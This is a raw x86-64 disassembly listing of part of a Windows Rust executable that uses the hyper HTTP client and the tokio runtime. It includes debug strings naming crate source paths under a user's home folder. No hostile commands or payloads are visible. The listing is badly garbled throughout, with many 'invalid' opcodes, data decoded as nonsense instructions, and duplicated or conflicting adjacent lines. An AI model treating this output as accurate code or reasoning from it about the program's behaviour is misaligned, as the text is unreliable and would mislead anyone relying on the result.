mov qword [rdi + 0xa0], rsi
add byte [rcx + rcx*4 - 0x49], cl
test al, 0
add byte [rax], al
add byte [rcx + rcx*4 - 0x49], cl
test al, 0
add byte [rax], al
movups xmm0, xmmword [rsp + 0x128]
movups xmm1, xmmword [rsp + 0x138]
movups xmm2, xmmword [rsp + 0x148]
movups xmmword [rdi + 0xb0], xmm0
movups xmmword [rdi + 0xc0], xmm1
movups xmmword [rdi + 0xd0], xmm2
xorps xmm0, xmm0
movaps xmmword [rdi + 0xe0], xmm0
mov qword [rdi + 0xf0], 0
mov rax, qword [rsi + 0x88]
mov qword [rdi + 0x98], rax
mov rcx, qword [rsi + 0x68]
mov rax, qword [rsi + 0x80]
and rax, r14
lea rdx, [rax + rax*2]
lea rbx, [rcx + rdx*8]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r8b
jne 0x140085467
sub rdi, 0xffffffffffffff80
lea rax, [rsi + 0x78]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r14
movzx eax, byte [rsi + 0x90]
test al, al
jne 0x140085390
add rsi, 0x10
lea rcx, [rsp + 0x50]
mov rdx, rdi
call fcn.14009d3f0
mov byte [rsp + 0xa8], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x50]
call fcn.1401034c0
jmp 0x140085408
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xe8]
lock inc qword [rsi]
jle 0x140085481
movzx eax, byte [0x14019f308]
mov edx, 0x100
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400855c0
mov rdi, rax
and rdi, 0xffffffffffffff80
mov qword [rdi + 0x78], rax
mov qword [rdi + 0x80], 0xcc
mov qword [rdi + 0x88], 0
lea rax, [0x14015a728]
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], 0
mov qword [rdi + 0xa0], rsi
mov qword [rdi + 0xa8], r14
movups xmm0, xmmword [rsp + 0x128]
movups xmm1, xmmword [rsp + 0x138]
movups xmm2, xmmword [rsp + 0x148]
movups xmmword [rdi + 0xb0], xmm0
movups xmmword [rdi + 0xc0], xmm1
movups xmmword [rdi + 0xd0], xmm2
xorps xmm0, xmm0
movaps xmmword [rdi + 0xe0], xmm0
mov qword [rdi + 0xf0], 0
mov rax, qword [rsi + 0x78]
mov qword [rdi + 0x98], rax
mov rcx, qword [rsi + 0x58]
mov rax, qword [rsi + 0x70]
and rax, r14
lea rdx, [rax + rax*2]
lea rbx, [rcx + rdx*8]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r8b
jne 0x140085474
sub rdi, 0xffffffffffffff80
lea rax, [rsi + 0x68]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r14
movzx eax, byte [rsi + 0x80]
test al, al
je 0x1400853d9
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx], dl
jne 0x14008545d
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x30]
mov rax, 0xffffffffffffffc0
lock xadd qword [rdi], rax
cmp rax, 0x3f
jbe 0x1400855cf
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140085408
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x140085408
lea rcx, [rsp + 0x50]
mov rdx, rdi
call fcn.14009d3f0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xe8]
mov rdx, rdi
call fcn.1400ff170
invalid
invalid
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd8]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rdi], rcx
je 0x140084f42
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x20]
jmp 0x140084f42
lea rdx, [r12 + 0x60]
mov rcx, qword [rsp + 0xa0]
call fcn.1401285c0
jmp 0x140084e1e
xor dword [rdx], ecx
add cl, ch
sar ecx, 0xff
invalid
call fcn.140126720
jmp 0x1400853a3
invalid
invalid
invalid
mov rcx, rbx
call fcn.1401262a0
jmp 0x140085210
mov rcx, rbx
call fcn.1401262a0
jmp 0x14008536e
ud2
call fcn.1401278a0
lea rcx, str.value_already_sent
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientclient.rs
mov edx, 0x12
call fcn.140122a20
lea rcx, str.assertion_failed:_slot.is_none__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srconeshot.rs
lea r8, [0x140158938]
mov edx, 0x20
call fcn.140122660
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401228a0
mov ecx, 8
mov edx, 0x20
call fcn.140122190
mov ecx, 8
mov edx, 0x48
call fcn.140122190
lea rax, str._period__must_be_non_zero.
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientclient.rs
lea rcx, [rsp + 0x50]
call fcn.1401224d0
mov eax, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0xd8], rcx
xor eax, eax
mov byte [rsp + 0x50], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
lea rcx, [rsp + 0x50]
call fcn.140127580
lea rcx, [0x1401696c0]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
mov edx, 0x73
call fcn.140122a20
mov ecx, 8
mov edx, 0x70
call fcn.140122190
mov ecx, 8
mov edx, 0x30
call fcn.140122190
lea rcx, [rsp + 0x128]
call fcn.140058da0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd8]
xor eax, eax
mov byte [rsp + 0x50], al
lea rdx, [0x140158760]
lea rcx, [rsp + 0x50]
call fcn.140127580
mov ecx, 0x80
mov edx, 0x80
call fcn.140122190
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov eax, 0x36cdced1
scasd eax, dword [rdi]
out 0x2c, al
movabs rdx, 0xe2065c4bd7cd24f3
pop rsp
invalid
loop 0x1400855c8
pop rsp
invalid
int3
test rax, rax
je 0x140085d07
mov rdi, rax
lea rdx, [rbx + 0x18]
mov rax, qword [rbx]
mov r8, qword [rbx + 8]
mov r9, qword [rbx + 0x10]
lea rcx, [rsp + 0x30]
call qword [rax]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov byte [rsp + 0x110], sil
mov byte [rsp + 0x111], al
mov qword [rsp + 0x118], rdi
lea rcx, [rsp + 0x120]
add dword [rax], eax
add byte [rcx - 0x73], cl
push rbp
sub byte [rcx - 0x75], cl
adc byte [r13 - 0x75], r9b
sbb byte [r13 - 0x75], r9b
mov ecx, dword [rbp + 0x20]
add dword [rax], eax
add byte [rcx - 0x73], cl
push rbp
sub byte [rcx - 0x75], cl
adc byte [r13 - 0x75], r9b
sbb byte [r13 - 0x75], r9b
mov ecx, dword [rbp + 0x20]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x110]
mov ecx, dword [rbp + 0x20]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movups xmm2, xmmword [rsp + 0x130]
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
mov qword [r15 + 0x30], 0
jmp 0x140085a81
mov qword [rsp + 0xd8], rdx
and r12, rbx
movdqu xmm8, xmmword [rcx + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb r14d, xmm0
test r14d, r14d
jne 0x1400859ad
cmp rsi, 1
mov esi, 1
je 0x140085969
pmovmskb eax, xmm8
xor esi, esi
test eax, eax
setne sil
tzcnt eax, eax
add rax, r12
and rax, rbx
mov qword [rsp + 0xc8], rax
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
jne 0x140085aae
add r12, rdx
add r12, 0x10
adc byte [rax - 0x7d], cl
ret 0xeb10
invalid
adc byte [rax - 0x7d], cl
ret 0xeb10
or dword [rdi], 0x1f
test byte [rax], al
add byte [rax], al
add byte [rax], al
lea eax, [r14 - 1]
and ax, r14w
mov r14d, eax
je 0x14008593f
tzcnt eax, r14d
add rax, r12
and rax, rbx
mov rbp, qword [rdi + 0x28]
neg rax
lea r15, [rax + rax*2]
shl r15, 4
lea rdx, [r15 + rbp]
add rdx, 0xffffffffffffffd0
mov rcx, r13
call fcn.1400260b0
test al, al
je 0x1400859a0
add rbp, r15
add rbp, 0xffffffffffffffe0
lea rcx, [rsp + 0x88]
mov rdx, rbp
call fcn.140023870
test al, al
je 0x1400859a0
cmp byte [rsp + 0x78], 2
jb 0x140085a29
mov rbx, qword [rsp + 0x80]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xa0]
mov rax, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x68]
mov byte [rax], 3
mov rcx, qword [rsp + 0x70]
cmp byte [rsp + 0x2c], 0
jne 0x140085a73
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140085ce6
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140085a81
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
movaps xmm6, xmmword [rsp + 0x140]
movaps xmm7, xmmword [rsp + 0x150]
movaps xmm8, xmmword [rsp + 0x160]
add rsp, 0x178
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0xc8]
cmp byte [rcx + rax], 0
js 0x140085ac8
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
tzcnt eax, eax
movups xmm0, xmmword [rsp + 0x78]
movups xmm1, xmmword [rsp + 0x88]
movups xmm2, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov r8, rax
mov rax, qword [rdi + 0x28]
movzx ecx, byte [rax + r8]
and ecx, 1
sub qword [rdi + 0x38], rcx
lea rcx, [r8 - 0x10]
and rcx, qword [rdi + 0x30]
mov rdx, qword [rsp + 0xa8]
mov byte [rax + r8], dl
mov byte [rax + rcx + 0x10], dl
inc qword [rdi + 0x40]
neg r8
lea rcx, [r8 + r8*2]
shl rcx, 4
movdqa xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rax + rcx - 0x10], xmm2
movups xmmword [rax + rcx - 0x20], xmm1
movdqu xmmword [rax + rcx - 0x30], xmm0
mov r12, qword [rsp + 0xb8]
movzx esi, byte [r12]
test esi, esi
mov r14, qword [rsp + 0x70]
je 0x140085be9
cmp esi, 1
jne 0x140085beb
movzx eax, byte [r12 + 1]
jmp 0x140085c3a
jmp 0x140085c3a
mov rbx, qword [r12 + 8]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140085d07
mov r15, rax
lea rdx, [rbx + 0x18]
mov rax, qword [rbx]
mov r8, qword [rbx + 8]
mov r9, qword [rbx + 0x10]
lea rcx, [rsp + 0x30]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
mov byte [rsp + 0xe0], sil
mov byte [rsp + 0xe1], al
mov qword [rsp + 0xe8], r15
lea rcx, [rsp + 0xf0]
mov rax, qword [r12 + 0x10]
mov r8, qword [r12 + 0x18]
mov r9, qword [r12 + 0x20]
mov rdx, qword [rsp + 0xb0]
call qword [rax]
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rax]
mov r8, qword [rsp + 0x68]
jmp 0x140085c86
pause
mov rax, qword [rcx + 8]
nop word [rax + rax]
cmp rax, 0xffffffffffffffff
je 0x140085c84
test rax, rax
js 0x140085d02
lea rdx, [rax + 1]
lock cmpxchg qword [rcx + 8], rdx
jne 0x140085c90
movdqu xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmm2, xmmword [rsp + 0x100]
movups xmmword [r8 + 0x20], xmm2
movups xmmword [r8 + 0x10], xmm1
movdqu xmmword [r8], xmm0
mov qword [r8 + 0x30], rcx
mov rcx, r14
cmp byte [rsp + 0x2c], 0
je 0x140085a60
jmp 0x140085a73
mov rsi, rcx
call fcn.14012bf20
mov rcx, rsi
test al, al
jne 0x140085a73
mov byte [rdi + 0x11], 1
jmp 0x140085a73
call fcn.1401278a0
mov ecx, 8
mov edx, 0x20
call fcn.140122190
invalid
or dword [rax], eax
int3
invalid
int3
invalid
xchg ebx, eax
adc dword [rax], eax
mov edx, 0x28
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
test eax, eax
test eax, eax
je 0x140086017
mov qword [rax], r12
mov qword [rax + 8], r14
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], rbx
lea rdx, [0x14015a610]
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r14
pop r15
ret
invalid
mov ecx, 8
mov edx, 0x28
add byte [rax], al
add byte [rdx + 0x28], bh
call fcn.140122190
or dword [rax], eax
xor ecx, ecx
mov rdx, rsi
call fcn.140122170
int3
int3
and byte [rcx], dh
ror byte [rax + 0x3b], 7
jno 0x14008606f
movabs r15, 0x8000000000000000
jmp 0x1400860c1
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub bl, 0x52
mov r14, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
test rdi, rdi
je case.0x1400dd9c6.2831
js 0x140086128
movzx eax, byte [0x14019f308]
mov dh, 5
jg 0x140086019
adc dword [rax], eax
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
mov rbx, rax
mov r15, rdi
test rax, rax
invalid
jne case.0x1400679a0.65
sal byte [rbp + 0x15], 0xb9
add dword [rax], eax
add byte [rax], al
invalid
mov ecx, 1
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rdi
mov rdx, rdi
call fcn.140122170
mov ebx, 1
xor r15d, r15d
mov rcx, rbx
mov rdx, r14
mov r8, rdi
clc
clc
call fcn.140121660
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x38]
lea r8, [rsp + 0x20]
mov rdx, rsi
call fcn.1400ce830
add al, 0
add al, 0
mov rax, qword [rsp + 0x38]
movabs rcx, 0x8000000000000002
cmp rax, rcx
jl 0x14008611b
test rax, rax
je 0x14008611b
mov r8, qword [rsp + 0x40]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
xchg ebx, eax
or al, byte [rax]
and eax, 0x90000a93
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
xor ecx, ecx
mov rdx, rdi
call fcn.140122170
int3
push rdi
push rbp
push rbx
sub rsp, 0xa0
in al, dx
movabs al, byte [0x9024b4290f000000]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
jmp 0x140086179
in al, dx
movabs al, byte [0x9024b4290f000000]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400861a4
invalid
sub ebp, dword [rax + 0x5d840f04]
invalid
test al, 4
je 0x1400867de
test al, 3
je case.0x140066b58.72
cmp rax, 0x3f
jbe 0x1400867f6
invalid
add byte [rax], al
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140086179
movzx eax, dl
lea rcx, [0x14019439c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
xor byte [rax - 0x77], cl
and al, 0x70
xor byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xf0b307e], al
adc dword [rcx + 6], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xf0b307e], al
adc dword [rcx + 6], 0
add byte [rax - 0x73], cl
jle 0x140086221
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
add byte [rbx - 0x7bf0fd08], al
mov ch, 1
add byte [rax], al
add dword [rax], eax
add byte [rbx - 0x7bf0fd08], al
mov ch, 1
add byte [rax], al
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008624b
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x1400863cc
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov dl, byte [rax + 0x48650011]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add byte [rax], al
ror dword [rdi], 0xb6
sub byte [rax], 1
add byte [rax], al
cmp eax, 2
je 0x1400862ff
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x1400862d1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
sbb al, 0xc1
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
mov dword [rax + 0x100], edi
mov dword [rax + 0x100], edi
jmp 0x140086302
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.140068f70
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add byte [rax], al
add byte [rax], al
cmp eax, 2
je 0x140086399
cmp eax, 1
je 0x140086367
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
invalid
add dh, al
sub dword [rax], 1
add byte [rax], al
invalid
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
add byte [rcx], al
add byte [rax], al
jmp 0x1400863a0
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068f70
mov qword [rsi + 0x30], 0xb
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
cmp byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
push rax
jmp 0x1400866c6
xorps xmm6, xmm6
lea rbx, [rsp + 0x70]
mov rcx, rdi
stc
stc
mov rdx, rbx
call fcn.14009e070
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
invalid
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
add dword [rax], eax
invalid
retf 0xb60f
add dword [rax], eax
add byte [rbx + 0x537402f9], al
cmp ecx, 2
je 0x14008644e
cmp ecx, 2
je 0x14008644e
cmp ecx, 1
je 0x140086432
mov ebp, eax
mov eax, dword [0x14019f30c]
add eax, 0x118f04
add eax, 0x118f04
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7ab4d
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
sub byte [rcx], al
add byte [rax], al
invalid
mov eax, ebp
sub byte [rcx], al
add byte [rax], al
add dword [rcx - 0x2bf27418], ecx
or eax, 0x118ed4
mov rdx, qword gs:[0x58]
mov ecx, dword [0x14019f30c]
or eax, 0x118ed4
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
add byte [rcx + 0xfc08401], dh
test byte [rbx + 1], dl
add byte [rax], al
test al, al
je 0x1400865a9
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
mov eax, dword [rsi]
lea rcx, [rsp + 0x40]
and al, 0x40
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x697bf0ff], ch
add eax, dword [rax]
add byte [rax + 0x48347520], ch
mov edx, eax
test al, 1
je 0x14008680e
test al, 0x20
jne 0x1400864b0
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x1400864d0
cmp rax, 0x3f
jbe 0x1400867f6
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
cmp edx, 0x40
cmp edx, 0x40
setb r8b
add r8b, r8b
shr bl, 0x3e
shr bl, 0x3e
nop word cs:[rax + rax]
invalid
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
leave
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
invalid
je 0x1400864f6
add dword [rsp + rsi - 0x15], esi
nop word cs:[rax + rax]
jmp 0x140086506
test rax, rax
test eax, eax
js 0x140086826
add rdx, 0x40
mov r8b, 1
ret 0x4140
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
add byte [rax], al
mov r9, rbx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
jne 0x140086506
invalid
mov rdx, qword [rsp + 0x70]
lock cmpxchg qword [rsi], rdx
jne 0x140086470
movzx eax, r8b
lea rcx, [0x1401943ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, r14
mov rdx, rsi
call fcn.1400ff170
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140086876
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140086518.0
dec qword [rax]
jne 0x14008655a
or byte [rbp + 8], dh
mov rcx, r14
call fcn.14002ded0
mov rcx, rdi
jmp 0x140086576
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140086572
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
call fcn.14007dde0
mov rax, qword [rsi + 0x1f8]
xchg al, bh
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
je 0x140086591
xchg al, bh
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
mov es, word [rax]
add al, byte [rax]
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x14019f258]
xor edx, edx
sar bh, cl
adc eax, 0xa8e9c
invalid
sar bh, cl
adc eax, 0xa8e9c
invalid
add cl, ch
nop
add dword [rax], eax
add byte [rax + 0x687402f9], al
invalid
jmp case.0x140086518.0
cmp cl, 2
je 0x140086616
invalid
push 0x285e8b48
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x1400865e8
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
lea edx, [rcx]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
lea rcx, [r14 + 0xd8]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
push 6
add byte [rcx - 0x3a], al
xchg byte [rax], ch
sub byte [rcx], al
add byte [rax], al
invalid
push 6
add byte [rcx - 0x3a], al
xchg byte [rax], ch
sub byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x118d1e05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x100], rbx
add byte [rax], al
mov qword [rax + 0x100], rbx
mov dword [rax + 0x100], ebx
jmp 0x140086619
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068f70
sub r14, r15
dec dword [rax - 0x39]
invalid
or al, 0
add byte [rax], al
sub r14, r15
sub esi, edi
dec dword [rax - 0x39]
invalid
or al, 0
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x118cde05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400866ab
cmp eax, 1
je case.0x14006ba56.48
add dword [rbp + rbp - 0x75], esi
add eax, 0x118cba
mov word [rcx], ss
invalid
mov eax, dword [0x14019f30c]
mov word [rcx], ss
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
sub byte [rax - 0x39], r9b
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov byte [rax], al
